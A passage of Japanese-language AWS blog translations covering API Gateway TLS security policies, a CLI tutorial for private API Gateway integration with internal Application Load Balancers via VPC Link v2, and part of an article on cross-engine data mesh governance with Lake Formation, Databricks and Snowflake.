新しいポリシーの一部は、TLS 1.3 とポスト量子暗号（PQC）を組み合わせて、量子対応の脅威アクターが存在する将来に備えるのに役立ちます。これらのポリシーを使用すると、API アーキテクチャを再設計することなく、量子耐性アルゴリズムのテストと採用を開始できます。 標準が進化し、新しい暗号スイートが導入されるにつれて、API Gateway のポリシーモデルは、設定をシンプルで予測可能に保ちながら、新しいバリアントを追加するための明確なパスを提供します。 まとめと次のステップ Amazon API Gateway の強化された TLS セキュリティポリシーとエンドポイントアクセスモードにより、クライアントが API への安全な接続を確立する方法を直接制御できます。PCI DSS、FIPS、Open Banking、PQC などのコンプライアンスニーズに合ったポリシーを選択し、STRICT モードを使用してトラフィックがエンドポイントに到達する方法を制御し、追加のドメインレベルの検証を適用して、API のセキュリティをさらに強化できます。 開始するには： API Gateway ドキュメント で利用可能なセキュリティポリシーのリストを確認します。 より強力な TLS 制御が必要な REST API とドメインを特定します。 BASIC モードで適切な SecurityPolicy-* ポリシーを適用します。 アクセスログと CloudWatch メトリクスを使用してクライアントの動作を検証します。 追加の接続レベルの保護を強制する準備ができたら、STRICT モードに移行します。 サーバーレスアーキテクチャの構築に関する詳細については、 ServerlessLand.com をご参照ください。 翻訳はソリューションアーキテクトの松本が担当しました。

本記事は 2025年11月21日 に公開された「 Build scalable REST APIs using Amazon API Gateway private integration with Application Load Balancer 」を翻訳したものです。 この記事は、プリンシパルソリューションアーキテクトの Vijay Menon とシニアソリューションアーキテクトの Christian Silva によって執筆されました。 本日、 Amazon API Gateway REST API が Application Load Balancer (ALB) とのプライベート統合をサポートすることを発表しました。この新機能により、ALB をパブリックインターネットに公開することなく、VPC ベースのアプリケーションを REST API 経由で安全に公開できます。 今回のリリース以前は、API Gateway をプライベート ALB に接続する場合、 Network Load Balancer (NLB) を中間に配置する必要があり、コストと複雑さが増していました。現在は、NLB を必要とせずに API Gateway をプライベート ALB と直接統合できるため、運用オーバーヘッドが削減され、コストが最適化されます。 従来のアーキテクチャ: API Gateway とプライベート ALB の接続 今回のリリース以前は、API Gateway REST API は ALB の前に配置された NLB を経由してプライベート ALB リソースに接続していました。多くのお客様がこのアーキテクチャを使用して本番ワークロードを構築・運用しており、ビジネスクリティカルなアプリケーションに対する信頼性が実証されています。次の図は、このセットアップを示しています。 図 1. 従来のアーキテクチャ: 中間 NLB 経由での API Gateway からプライベート ALB への接続 アーキテクチャの簡素化とコスト削減を求めるお客様のフィードバックに応えて、VPC Link v2 のサポートを REST API に拡張しました。この機能により、REST API でプライベート ALB との直接統合が可能になり、中間 NLB が不要になりました。 新しいアーキテクチャ: API Gateway とプライベート ALB の接続 プライベート ALB との直接統合により、アーキテクチャはよりシンプルで効率的になります。この統合により中間 NLB が不要になり、クライアントとサービス間のホップ数が削減されます。この合理化されたセットアップにより、アプリケーションのアーキテクチャが簡素化され、ALB のレイヤー 7 ロードバランシング機能、認証、認可機能をより効率的に使用できます。これらの ALB 機能は技術的には以前からアクセス可能でしたが、新しいアーキテクチャでは追加の NLB を管理するオーバーヘッドと複雑さが解消されます。簡素化されたアーキテクチャは次のようになります。 図 2. API Gateway とプライベート ALB 間の直接統合 API Gateway エンドポイントとプライベート ALB の直接統合のメリット アーキテクチャの簡素化と運用の優秀性 : API Gateway がプライベート ALB に直接接続できるようになったため、API Gateway とプライベート ALB の間のブリッジとして機能する NLB が不要になりました。これにより、中間ロードバランサーのプロビジョニング、設定、管理、監視が不要になります。インフラストラクチャコンポーネントの削減は、運用オーバーヘッドの削減と潜在的な障害ポイントの減少につながります。トラフィックは Amazon Web Services (AWS) ネットワーク内で API Gateway から ALB に直接流れるため、ネットワークホップとレイテンシーが削減されます。 スケーラビリティの向上 : VPC Link v2 は、ロードバランサーとの 1 対多の関係をサポートします。単一の VPC Link v2 により、API Gateway は VPC 内の複数の ALB または NLB と統合できます。このアーキテクチャ上の利点は、それぞれが独自の ALB の背後にある可能性がある複数のマイクロサービスを持つ複雑なアプリケーションを管理する組織や、多数の API を実行している組織にとって特に価値があります。単一の VPC Link を通じて複数のロードバランサー接続を統合する機能は、管理オーバーヘッドを削減するだけでなく、アーキテクチャのスケーリングにおいてより大きな柔軟性を提供します。アプリケーションが成長し、より多くのサービスやロードバランサーを追加する際に、追加の VPC Link をプロビジョニングする必要がないため、運用効率を維持しながらインフラストラクチャを拡張しやすくなります。 コストの最適化 : アーキテクチャから NLB を削除することで、NLB の実行に対する時間料金と、1 時間あたりに使用される Network Load Balancer Capacity Units (NLCU) の両方を削減できます。複数の環境や多数の API を実行している組織では、これらの削減により年間数千ドルの節約が可能になります。さらに、データ転送パターンがより効率的になります。トラフィックは AWS ネットワーク内で API Gateway から ALB に直接流れるため、より多くのデータ転送料金が発生する可能性のある不要なホップを回避できます。この合理化されたパスは、コストを削減するだけでなく、ネットワークレイテンシーを最小限に抑えることでパフォーマンスも向上させます。 はじめる このチュートリアルでは、 AWS マネジメントコンソール と AWS コマンドラインインターフェイス (AWS CLI) の両方を使用したセットアップを実演します。開始する前に、VPC に 内部 ALB が設定されている ことを確認してください。名前が必要なリソースについては、環境に適した名前を使用してください。 ステップ 1: VPC Link v2 の作成 最初のステップは、API Gateway が内部 ALB にトラフィックをルーティングできるようにする VPC Link v2 を作成することです。設定方法は次のとおりです。 API Gateway コンソール に移動します。 左側のナビゲーションペインで、 VPC links を選択します。 Create VPC link を選択します。 VPC Link タイプとして VPC link v2 を選択します。 VPC Link のわかりやすい名前を入力します。 ALB が存在する VPC とサブネットを選択します。高可用性を実現するには、ALB 設定に一致する複数の AWS アベイラビリティーゾーン (AZ) のサブネットを選択します。 VPC Link に 1 つ以上のセキュリティグループを割り当てます。これらのセキュリティグループは、API Gateway と VPC 間のトラフィックフローを制御します。 Create を選択し、VPC Link のステータスが Available になるまで待ちます。このプロセスには数分かかる場合があります。 または、AWS CLI を使用して VPC Link v2 を作成できます。 # VPC Link v2 の作成 aws apigatewayv2 create-vpc-link \ --name "test-vpc-link-v2" \ --subnet-ids "<your-subnet1-id>" "<your-subnet2-id>" \ --security-group-ids "<your-security-group-id>" \ --region <your-AWS-region> # VPC Link v2 のステータス確認 aws apigatewayv2 get-vpc-link \ --vpc-link-id "<your-vpc-link-v2-id>" \ --region <your-AWS-region> ステップ 2: REST API の作成と統合の設定 VPC Link v2 が利用可能になったら、次のステップは REST API を作成し、VPC Link を使用するように設定することです。このプロセスには、API の作成、リソースとメソッドの設定、内部 ALB との統合の設定が含まれます。 API Gateway コンソール で、 Create API を選択します。 REST API を選択します。 API 名を入力し、 Create API を選択します。 Actions を選択してから Create resource を選択して、新しいリソースを作成します。このリソースは、API のエンドポイントを表します。 Actions を選択してから Create method を選択して、メソッドを作成します。メソッドは、API が受け入れるリクエストのタイプ (GET、POST など) を定義します。 次に、統合を設定します。ここで、VPC Link v2 を介して API を内部 ALB に接続します。 統合タイプとして VPC link を選択します。 バックエンド統合の HTTP メソッドを選択します。 新しく作成した VPC Link v2 を選択します。 統合ターゲットとして ALB を指定します。 統合のエンドポイント URL を入力します。URL で指定されたポートは、バックエンドへのリクエストのルーティングに使用されます。 Integration timeout を設定します。 AWS CLI を使用する場合: # REST API の作成 aws apigateway create-rest-api \ --name "test-rest-api" \ --description "REST API integration with internal ALB via VPC link v2" \ --region <your-AWS-region> # REST API のルートリソース ID を取得 aws apigateway get-resources \ --rest-api-id "<your-rest-api-id>" \ --region <your-AWS-region> # 新しいリソースの作成 aws apigateway create-resource \ --rest-api-id "<your-rest-api-id>" \ --parent-id "<your-parent-id>" \ --path-part "internal-alb" \ --region <your-AWS-region> # 新しいメソッドの作成 aws apigateway put-method \ --rest-api-id "<your-rest-api-id>" \ --resource-id "<your-resource-id>" \ --http-method ANY \ --authorization-type NONE \ --region <your-AWS-region> # 統合の作成 aws apigateway put-integration \ --rest-api-id "<your-rest-api-id>" \ --resource-id "<your-resource-id>" \ --http-method ANY \ --type HTTP_PROXY \ --integration-http-method ANY \ --uri "http://test-internal-alb.com/test" \ --connection-type VPC_LINK \ --connection-id "<your-vpc-link-v2-id>" \ --integration-target "<your-ALB-arn>" \ --region <your-AWS-region> ステップ 3: デプロイとテスト API が設定されたら、デプロイして正しく動作していることを確認します。 Deploy API を選択して、API の新しいデプロイを作成します。 新しいステージ (例: “test”) を作成します。ステージを使用すると、API の複数のバージョンを管理できます。 デプロイ後、API エンドポイント URL が表示されます。テストに必要なため、この URL をコピーします。 お好みの API クライアントまたはシンプルな curl コマンドを使用して API をテストします。 AWS CLI を使用する場合: # test ステージへの新しいデプロイの作成 aws apigateway create-deployment \ --rest-api-id "<your-rest-api-id>" \ --stage-name "test" \ --region <your-AWS-region> curl コマンドを使用して API 統合をテストします。 curl https://<rest-api-id>.execute-api.<your-aws-region>.amazonaws.com/internal-alb {"message": "Hello from internal ALB"} ステップ 4: VPC Link v2 のスケーリング 単一の VPC Link で、VPC 内の複数の ALB または NLB に接続できるようになり、インフラストラクチャ管理が簡素化されます。この AWS CLI スニペットは、API Gateway が単一の VPC Link v2 を使用して、それぞれが独自の ALB の背後にある複数の内部サービス (例: 注文サービスと支払いサービス) と統合する方法を示しています。両方の統合で同じ VPC Link ID が使用されていることに注目してください。 # 注文サービスの統合 (ALB-1) aws apigateway put-integration \ --rest-api-id "<your-rest-api-id>" \ --resource-id "<orders-resource-id>" \ --http-method ANY \ --type HTTP_PROXY \ --integration-http-method ANY \ --uri "<your-orders-alb-endpoint>" \ --connection-type VPC_LINK \ --connection-id "<your-vpc-link-v2-id>" \ --integration-target "<your-orders-alb-arn>" \ --region "<your-aws-region>" # 支払いサービスの統合 (ALB-2) aws apigateway put-integration \ --rest-api-id "<your-rest-api-id>" \ --resource-id "<payments-resource-id>" \ --http-method ANY \ --type HTTP_PROXY \ --integration-http-method ANY \ --uri "<your-payments-alb-endpoint>" \ --connection-type VPC_LINK \ --connection-id "<your-vpc-link-v2-id>" \ --integration-target "<your-payments-alb-arn>" \ --region "<your-aws-region>" 詳細なステップバイステップガイドについては、 API Gateway 開発者ガイド の公式ドキュメントをご覧ください。 ユースケース API Gateway とのプライベート ALB 統合により、エンタープライズの課題を解決するアーキテクチャパターンが可能になります。この新機能を活用できる 3 つの主要なシナリオを以下に示します。 Amazon ECS および Amazon EKS 上のマイクロサービス : Amazon ECS または Amazon EKS で実行されているマイクロサービスの公開が、この統合によりシンプルになります。ALB をパブリックインターネットに公開したり、複雑な NLB プロキシパターンを使用したりすることなく、さまざまなサービスへの安全なパスベースのルーティングが可能になります。 ハイブリッドクラウドアーキテクチャ : AWS Direct Connect または AWS Site-to-Site VPN を介して、クラウドネイティブ API とオンプレミスリソース間のシームレスで安全な接続が実現されます。このセットアップにより、HTTP メソッドとヘッダーに基づいて、さまざまな内部システムへの柔軟なルーティングが可能になります。 エンタープライズのモダナイゼーション : モノリシックアーキテクチャからマイクロサービスへの段階的な移行を可能にすることで、アプリケーションの段階的なモダナイゼーションが促進されます。組織は、運用の継続性を維持し、リスクを最小限に抑えながら、レガシーコンポーネントと新しいコンポーネント間でトラフィックをルーティングできます。 まとめ API Gateway REST API と ALB 間の直接プライベート統合により、AWS での API アーキテクチャが強化されます。インフラストラクチャを簡素化し、運用オーバーヘッドを削減することで、この機能は API 駆動型アプリケーションのパフォーマンスと効率を向上させます。 この機能は、VPC Link v2 と ALB が利用可能なすべての AWS リージョンで本日より利用できます。この機能で何を構築し、API アーキテクチャがどのように変革されるかを楽しみにしています。API Gateway コンソールにアクセスして、ALB との直接統合のための最初の VPC Link v2 を作成することで、今すぐ始めることができます。 詳細については、 API Gateway 製品ページ をご覧いただき、 料金の詳細 を確認し、包括的な 開発者ドキュメント を参照して、AWS で世界クラスの API を構築するために利用できるすべての強力な機能について学んでください。

この記事は Build Secure Data Mesh with AWS and Partner Solutions を翻訳した記事になります。翻訳は Solutions Architect 深見が担当しました。 はじめに データメッシュは、組織がドメイン間でデータを管理・共有する方法に革命をもたらす変革的なアーキテクチャパラダイムとして登場しています。 データを製品として扱い、ドメインチームに所有権を分散させることで、データメッシュはドメインの自律性を維持しながら、スケーラブルで安全かつ効率的なデータ共有を可能にします。 このブログは、最新のデータメッシュアーキテクチャを実装中または計画中のデータアーキテクトや技術リーダー向けです。 主に AWS とそのパートナーと協力している世界的な金融サービス組織による革新的な実装から着想を得ていますが、ここで議論される原則とソリューションは業界全体に広く適用できます。 金融機関は、ドメイン固有のガバナンスを維持しながら多様な製品にわたる包括的な顧客ビューを作成するために、データメッシュアーキテクチャの採用を増やしています。 これらの組織は、データが伝統的にサイロ化されていた規制環境において独自の課題に直面しています。 今日のソリューションは、 Apache Iceberg のようなオープンテーブルフォーマット、エンジン間のストレージとコンピュートの分離、クラウドスケールの機能を活用しており、従来のクエリフェデレーションアプローチからの進化を表しています。 最新のデータメッシュアプローチは、エンティティ認証、一貫したアクセス制御、包括的な監査証跡、データ系統追跡を通じて厳格な管理を維持しながら、ストレージレベルでの安全なデータ共有を可能にします。 これにより、チームはセキュリティやコンプライアンス要件を損なうことなく、特定のニーズに最適な専門エンジンを選択できます。 このブログでは、AWS ネイティブの分析サービスとサードパーティエンジンを同時に活用することを目的としたデータメッシュアーキテクチャを実装するための 3 つの重要な要件を探ります：(1)クロスカタログメタデータフェデレーション、(2)クロスアカウント＆クロスエンジンでの認証と認可、(3)分散ポリシーの反映 AWS をデータプロデューサーとコンシューマーの両方として実用的な実装パターンを検討し、Databricks や Snowflake などのパートナーとの統合アプローチを代表例として紹介します。 これらのパターンは、組織が企業全体のガバナンスを維持しながら、データメッシュの中核原則をサポートする柔軟で安全かつスケーラブルなデータアーキテクチャをどのように構築するかを示しています。 主な要素 データメッシュ データメッシュは、中央集権型のデータプラットフォームから分散型のドメイン指向の所有モデルへと移行するアーキテクチャおよび組織的なデータ管理アプローチです。 データを製品として扱い、ドメインチームが生成するデータに責任を持たせます。 例えば、金融機関では、クレジットカード部門が顧客取引データを製品として所有・管理し、明確に定義されたインターフェースとアクセス制御を通じて、不正検出やマーケティング分析などの他部門が安全にアクセスできるようにします。 データメッシュの中核原則には、(1)ドメイン指向の所有権、(2)製品としてのデータ、(3)セルフサービスデータインフラストラクチャ、(4)連合型ガバナンスが含まれます。 詳細については、 データメッシュとは および Let’s Architect! Architecting a data mesh をご覧ください。 データメッシュでは、データプロデューサーがデータコンシューマーが消費できるようにデータを公開します。 フェデレーテッドガバナンス層 (Federated Governance) がデータへのアクセスを規制します。 コンシューマーとプロデューサーは、AWS ネイティブサービスと AWS パートナープラットフォーム間でデータを共有する必要があります。 図1. Databricks や Snowflake などの AWS ネイティブサービスと AWS パートナーによるデータメッシュ設計のコンセプトを示しています。AWS と AWS パートナーの両方がデータコンシューマーとデータプロデューサーの役割を果たしています。 Iceberg オープンテーブルフォーマット Apache Iceberg は、データメッシュアーキテクチャにとって重要なオープンテーブルフォーマットです。 その主な理由は、異なるデータメッシュ環境に不可欠な Amazon Athena 、Snowflake、Databricks などの多様なクエリエンジン間で一貫したデータアクセスを可能にするクロスプラットフォーム互換性にあります。 また、コンシューマーに影響を与えることなくスキーマ進化をサポートし、ガバナンスと監査のためのタイムトラベル機能を提供し、 ACID トランザクション によるデータ一貫性を維持、プラットフォーム間でのきめ細やかなアクセス制御を可能にします。 これらの機能により、データの整合性とガバナンスを維持しながらドメイン間の相互運用性を確保できます。 Lake Formation AWS Lake Formation は、分析と機械学習のためのデータを一元的に管理、保護、共有するのに役立ちます。 Amazon Simple Storage Service (Amazon S3) や Amazon Redshift などの様々なデータストアに保存されたデータと AWS Glue Data Catalog 内のメタデータに対するきめ細やかなアクセス制御を提供します。 次世代の Amazon SageMaker Amazon SageMaker のレイクハウスアーキテクチャは、Apache Iceberg を使用してデータレイクとウェアハウスを 1 つのオープンプラットフォームに統合します。 このレイクハウスは、複数のソースからのデータへの接続、カタログ化、権限管理をスムーズに行います。 AWS Glue Data Catalog と AWS Lake Formation を基盤として構築され、オープンな Apache Iceberg REST API を通じてアクセス可能なカタログを通じてデータを整理し、一貫したきめ細やかなアクセス制御による安全なデータアクセスを提供します。 Amazon SageMaker Unified Studio は、Amazon レイクハウスアーキテクチャの開発環境とオーケストレーション層として機能します。 レイクハウスが Apache Iceberg ベースのデータ基盤を提供する場所であるのに対して、SageMaker Unified Studio は、データサイエンティスト、アナリスト、開発者が AWS サービスと外部パートナープラットフォームの両方のデータをやり取りし操作する場所です。 詳細については、 Connect, share, and query where your data sits using Amazon SageMaker Unified Studio ブログを参照してください。 アイデンティティとアクセス制御の管理 金融サービス組織はサイロ化されたデータから、オープンテーブルフォーマット、ストレージとコンピュートの分離、クラウド機能によって可能になったデータメッシュアーキテクチャへと進化してきました。 この変化により、エンティティ認証、一貫したクロスエンジンアクセス制御、包括的な監査、コンプライアンスモニタリング、データ系統追跡を通じて厳格な管理を維持しながら、クエリフェデレーションではなくストレージレベルでの安全なデータ共有が可能になりました。 このアプローチにより、チームは組織のセキュリティとコンプライアンス要件を維持しながら、ケースに適したエンジンを選択できるようになります。 クロスエンジンデータ共有のためのデータメッシュアーキテクチャが進化するにつれて、2 つの重要なセキュリティ要件が浮上します： プラットフォーム間で一貫したエンティティ ID プラットフォーム間で統一されたアクセス制御 ユーザーとエンジンのアイデンティティ マルチクエリエンジン環境では、ユーザーとエンジンの両方の ID が不可欠です。 ユーザーはサービス間で一貫した ID（フェデレーション ID プロバイダー、IDP サーバーを通じて管理）が必要である一方、エンジンはユーザーに代わってフェデレーションデータソースに接続する際にシステム ID を必要とします。 エンジンは、シームレスなクロスエンジン操作を可能にしながらセキュリティを維持するために、互いに信頼関係を確立する必要があります。 アクセス制御 ID の確認後、アクセス制御には 2 つの重要な側面が関わります：ポリシー定義（AWS および非 AWS エンジン間で許可されるアクションの指定）とポリシーの反映（定期的な同期を伴うエンジンレベルでの実装）です。 このアプローチにより、データが AWS またはパートナーエンジンのどちらを通じてアクセスされるかに関わらず、一貫したセキュリティが維持されます。 マルチエンジンデータメッシュは、2 つの補完的なアクセス制御モデルを活用します： IAM/S3 ポリシーを使用した粗い粒度のアクセス (Coarse-grained access ) Lake Formation を使用したきめ細やかなアクセス制御（Fine-grained access control: FGAC） Lake Formation は、データフィルターを持つ名前付きリソースを使用したロールベースのアクセス制御を含む、きめ細やかなアクセス制御での権限管理を行うための様々な権限モデルをサポートしています： タグベースのアクセス制御（TBAC） ：LF-Tags は、類似したリソースをグループ化し、そのリソースグループに対する権限をプリンシパルに付与できるメカニズムで、権限のスケーリングを可能にします。 属性ベースのアクセス制御（ABAC） ：ユーザー属性に基づいてリソースに対する権限を付与できるようになり、コンテキスト駆動型で、特定の属性値に基づく行レベルのフィルタリングなどの精密なセキュリティ対策が可能になります。 実装の成功のためには、ユーザーがデータメッシュとやり取りするためにどのアクセスポイントを使用するかに関わらず、一貫したセキュリティ実施を維持するために、エンジン間で慎重なポリシーの変換が必要です。 データメッシュアーキテクチャにおける相互運用性の要件 データ相互運用性とは、システムが共通ストレージレイヤーからデータを重複なく安全にアクセス、解釈、処理する能力です。 このブログでは、特に AWS が管理するストレージを使用する AWS ネイティブサービスとパートナープラットフォーム間のデータコンシューマーとプロデューサー間の相互運用性に焦点を当てています。 データメッシュ実装のための主要なデータ相互運用性要件： 1. クロスカタログメタデータフェデレーション – フェデレーションメタデータカタログを通じて、組織の境界を越えてドメインデータ製品を発見可能にする 2. クロスアカウント認証と認可 – コンシューマークエリエンジンが適切な権限でプロデューサーデータにアクセスできる安全な認証情報管理の実装 3. 分散ポリシーの反映 – プロデューサー定義のアクセスポリシーをデータコンシューマーポイント全体に適用する一貫したガバナンスメカニズムの確立 図 2 は、データメッシュアーキテクチャにおける権限の粒度の適用を示しています。 これは、データフェデレーションプロセス中にシステムがユーザー ID またはエンジン ID を想定するかどうかに基づいて、粗い粒度ときめ細やかな権限の違いを示しています。 図 2. この図は、データ相互運用性要件がデータメッシュ内のプロデューサーとコンシューマープラットフォーム間の安全な共有をどのように可能にするかを示しています。クロスカタログアクセスはアプリケーション/システム ID を使用して行われ、ユーザー ID のためのエンジンは、コンシューマーカタログで定義されているとおりに FGAC 制御を実施します。 AWS とそのパートナーがどのようにデータメッシュアーキテクチャを構築し、2 つの主要なパターンを通じてデータ相互運用性要件を実装しているかを探ってみましょう： データプロデューサーとしての AWS プラットフォーム と データコンシューマーとしての AWS プラットフォーム です。 データメッシュの実装: AWS をデータプロデューサーとして利用する 図 3. この図は、データメッシュアーキテクチャにおいてデータプロデューサーとして機能する AWS を示し、AWS ネイティブサービスを使用するプロデューサーから AWS パートナーと AWS ネイティブサービスの両方を使用したコンシューマーへのデータフローを示しています。AWS ネイティブコンピュートエンジンとパートナーコンピュートエンジンの両方が、AWS 管理のデータレイクから直接データを利用しています。 1. クロスカタログメタデータフェデレーション サードパーティのクエリエンジンは、Lake Formation によって管理される AWS データレイク内のデータを検出・理解するために AWS Glue Data Catalog（GDC）を使用します。 GDC は、スキーマ定義、データ型、場所、その他のメタデータを一貫した方法で維持するための手段を提供します。 Glue Data Catalog へのカタログフェデレーションは、 AWS Glue API または AWS Glue Iceberg REST エンドポイント （Glue IRC）のいずれかを介して確立できます。 両方のアプローチが Apache Iceberg テーブルをサポートしていますが、Glue IRC API は統合のための標準的な REST API セットを有効にし、認証と認可のサポートを提供してフレームワークを簡素化します。 2. クロスアカウント認証と認可 サードパーティのクエリエンジンは、 Lake Formation 管理の認証情報 または S3 への直接アクセス用の IAM プリンシパルロールのいずれかを使用して、GDC カタログで検出されたデータにアクセスします。 Lake Formation 管理の認証情報を利用した提供方法が推奨されるアプローチです。 3. 分散ポリシーの反映 AWS Lake Formation との統合により、サードパーティサービスは Amazon S3 ベースのデータレイク内のデータに完全なテーブルアクセス権限で安全にアクセスできます。 組織は、サードパーティのクエリエンジンがきめ細やかなアクセス制御ポリシーを実施できるように、手動のポリシー共有や追加のメカニズムでこれを補完する必要があります。 機能 Lake Formation 認証情報 S3 用の IAM プリンシパル 目的 データレイクアクセス管理 AWS リソースのアクセス制御 粒度 きめ細やかな粒度（テーブル/列/行） 粗い粒度（バケット/プレフィックス/オブジェクト） 管理 Lake Formation で一元化 IAM と S3 バケットポリシー IAM/S3 ポリシー Lake Formation の制御が適用される アクセスを直接制御 ユーザーエクスペリエンス S3 権限の直接管理が不要 明示的な S3 権限が必要 統合 AWS とサードパーティのアプリケーション アプリケーション/ユーザーの直接アクセス 表 1. この表は、S3 ロケーションにアクセスするための Lake Formation による認証情報の提供（推奨アプローチ）と IAM プリンシパルロール方式を比較しています。 データコンシューマーとして利用する際のパートナー製品特有のデータ相互運用性機能 Databricks をコンシューマとして利用する場合 1. クロスカタログメタデータフェデレーション Databricks Lakehouse Federation を使用すると、組織は外部データシステムを Lakehouse 拡張としてクエリおよび統制管理ができます。 GDC に接続する際、Databricks は Iceberg REST カタログエンドポイントではなく、メタデータの検出とフェデレーションのために GDC API を使用します。 詳細については、 Unity Catalog における Hive Metastore と AWS Glue フェデレーションの一般提供開始のお知らせ を参照してください。 2. クロスアカウント認証と認可 データアクセス権限については、Databricks は Lake Formation の認証情報提供メカニズムではなく、従来のクロスアカウント IAM ロールベースのアクセスパターンを使用して S3 データにアクセスします。 顧客は、フェデレーションする各テーブルについて、Unity Catalog に S3 バケットストレージを明示的に登録する必要があります。 3. 分散ポリシーの反映 Databricks で Lake Formation のきめ細やかなアクセス制御を複製するには、Lake Formation からアクセスポリシーを抽出し、それらを同等の Databricks Unity Catalog の権限に変換する同期メカニズムが必要です。 これらのきめ細やかなアクセスポリシーは、手動で複製するか、両システムを同期させるカスタムビルドソリューションを介して複製することができます。 Snowflake をコンシューマとして利用する場合 1. クロスカタログメタデータフェデレーション AWS Glue Data Catalog から Snowflake Horizon カタログへのクロスカタログメタデータフェデレーションを実装するために、Snowflake は カタログ統合 を使用します。 AWS Glue と統合するために、Snowflake はカタログ提供の認証情報などの追加の Iceberg テーブル機能をサポートする AWS Glue Iceberg REST エンドポイント のカタログ統合を作成することを推奨しています。 詳細については、 Apache Iceberg Rest Catalog (IRC) のカタログ統合に関する追加情報 を参照してください。 2. クロスアカウント認証と認可 Snowflake Horizon カタログと AWS GlueのIceberg REST エンドポイントの統合は、Lake Formation による認証情報の提供機能（現在は粗い粒度のみ）をサポートしています。詳細については、 Apache Iceberg テーブルのカタログ提供の認証情報を使用する を参照してください。 3. 分散ポリシーの反映 Snowflake で Lake Formation のきめ細やかなアクセス制御を複製するには、Lake Formation からアクセスポリシーを抽出し、それらを同等の Snowflake Horizon カタログの権限に変換する同期メカニズムが必要です。これらのきめ細やかなアクセスポリシーは、手動で複製するか、両システムを同期させるカスタムビルドソリューションを介して複製することができます。   パターン 要件 統合機能 コンシューマーとしての Databricks（プロデューサーとしてのAWS） 1. カタログフェデレーション UC から GDC へのフェデレーション 2. データストレージ権限 S3 への IAM ロールアクセス （L F認証情報のサポートなし） 3. データポリシーの反映 カスタムプロセスを介して複製され、Databricks によって実施されるきめ細やかなポリシー コンシューマーとしての Snowflake（プロデューサーとしてのAWS） 1. メタデータフェデレーション CREATE CATALOG INTEGRATION（Apache Iceberg REST） 2. データストレージ権限 Apache Iceberg のカタログ提供の認証情報を使用する （ テーブル全体へのアクセス権を持つ Lake Formation 認証情報 を使用） 3. データポリシーの反映 カスタムプロセスを介して複製され、Snowflake によって反映される FGACポリシー 表2. この表は、AWSをデータプロデューサーパターンとして実装する際に、AWS 管理のデータレイクとのデータ相互運用性を可能にする Databricks と Snowflake が提供する統合機能をまとめたものです。 データメッシュの実装: AWS をデータコンシューマーとして利用する 図4 は、データプロデューサーとしてAWS パートナープラットフォームを使用する際に AWS ネイティブ分析サービスを使用たデータコンシューマーへのデータの流れを示しています。 図4. この図は、データメッシュアーキテクチャにおいてデータコンシューマーとして機能するAWSプラットフォームを示しています。AWS ネイティブコンピュートは、AWS 管理のデータレイクとパートナーが管理するストレージからデータを消費します。 データコンシューマーとしての AWS ネイティブデータ相互運用性機能 1. クロスカタログメタデータフェデレーション AWS Glue は現在、リモート Iceberg への カタログフェデレーション をサポートしています。この機能により、AWS Glue Data Catalog を Databricks Unity Catalog、Snowflake Polaris カタログ、Horizon カタログ、およびカスタム Iceberg REST カタログ実装とフェデレーションを設定することができます。統合後、AWS Glue はバックグラウンドでメタデータの同期を自動的に管理し、クエリ結果にリモートカタログからの最新のテーブル変更が反映されるようにはたらきます。フェデレーションされたテーブルは、Amazon Redshift、Amazon EMR、Amazon Athena、AWS Glue などの AWS 分析エンジンを使用して検出およびクエリが可能です。 2. クロスアカウント認証と認可 Lake Formation は、AWS ネイティブサービスがデータレイクアクセスに使用するのと同じ アプリケーション統合プロセス を使用して、フェデレーションソースにデータガバナンスを拡張します。カタログフェデレーションは、フェデレーションデータソースに対して Lake Formation のきめ細やかなアクセス制御を使用します。 ユーザーが Athena などの AWS コンピュートサービスにクエリを送信すると、AWS ネイティブサービスはアクセス権限を確認して認証情報を取得するためにリクエストを Lake Formation に転送します。認可されると、Lake Formation はこれらの認証情報を AWS ネイティブサービスに提供し、Amazon S3 で要求されたデータにアクセスできるようにします。フェデレーションテーブルにクエリを実行する際、AWS Glue はクエリ時にリモートカタログから現在のメタデータを検出し、Lake Formation は S3 バケットに格納されたテーブルデータへのスコープ付き認証情報を提供してアクセスを管理します。その後、AWS ネイティブサービスは取得したデータにポリシーベースのフィルタリングを適用してから、結果をユーザーに返します。 3. 分散ポリシーの反映 Lake Formation は、フェデレーション 対象のIceberg カタログに対する包括的アクセス制御を提供し、データ所有者が AWS アカウント間でフェデレーションテーブルを共有する際に列、行、セルレベルの権限を付与できるようにします。Lake Formation は、フェデレーションカタログのデータベース/テーブル/列に対するタグベースのアクセス制御（TBAC）もサポートしており、組織は個々のリソースポリシーを管理するのではなく、リモートカタログオブジェクトにタグを適用することでガバナンスを効率化できます。ただし、組織はサードパーティプラットフォームから Lake Formation へのきめ細やかなアクセス制御を同期するための補完的なポリシー共有または追加のメカニズムを実装する必要があります。 データプロデューサーとしてのパートナー固有のデータ相互運用性機能 Databricks 1. クロスカタログメタデータフェデレーション Unity Catalog は OpenAPI 仕様に従って構築され、Apache 2.0 ライセンスで、複数の API 標準を通じて幅広い互換性を提供しています。製品の詳細については Unity Catalog のオープンソース化 をご覧ください。 Databricks は Unity REST API と Apache Iceberg REST カタログを使用して Unity Catalog テーブルへのアクセスを提供しています。具体的な手順については、 Apache Iceberg クライアントから Databricks テーブルにアクセスする と Unity Catalog への外部データアクセスを有効にする を参照してください。 2. クロスアカウント認証と認可 Unity Catalog の認証情報提供メカニズムにより、ユーザーは外部クライアントが Databricks によって管理されるデータ上の権限を継承するように構成できます。Iceberg と Delta の両方のクライアントが認証情報提供メカニズムの利用をサポートしています。AWS 固有の手順については、 外部システムアクセスのための Unity Catalog 認証情報提供、外部システムを使用した Databricks データへのアクセス および サービス認証情報の作成方法 を参照してください。 データアクセス権限については、Glue Data Catalog は Unity 認証情報提供メカニズムではなく、従来のクロスアカウント IAM ロールベースのアクセスパターンを使用して S3 データにアクセスします。顧客は、Lake Formation が一時的な認証情報提供を管理できるように、フェデレーションの一部として S3 バケットストレージへの権限を明示的に設定する必要があります。 3. 分散ポリシーの反映 Databricks Unity Catalog のきめ細やかな制御を Lake Formation で複製するには、Unity Catalog ポリシーを抽出し、同等の Lake Formation 権限に変換する同期メカニズムが必要です。組織はこれを手動でのポリシー複製または両方のガバナンスシステム間で継続的な同期を維持するカスタムソリューションの開発のいずれかを通じて実装します。 Snowflake 1. クロスカタログメタデータフェデレーション Snowflake Open Catalog は、オープン API を通じてあらゆる Iceberg テーブルメタデータを公開することで、サードパーティのクエリエンジンとの相互運用性をサポートするように設計されています。これにより、外部エンジンがメタデータにアクセスして Snowflake Open Catalog に格納されているデータをクエリでき、フェデレーションデータアクセスアプローチをサポートします。さらに、Horizon 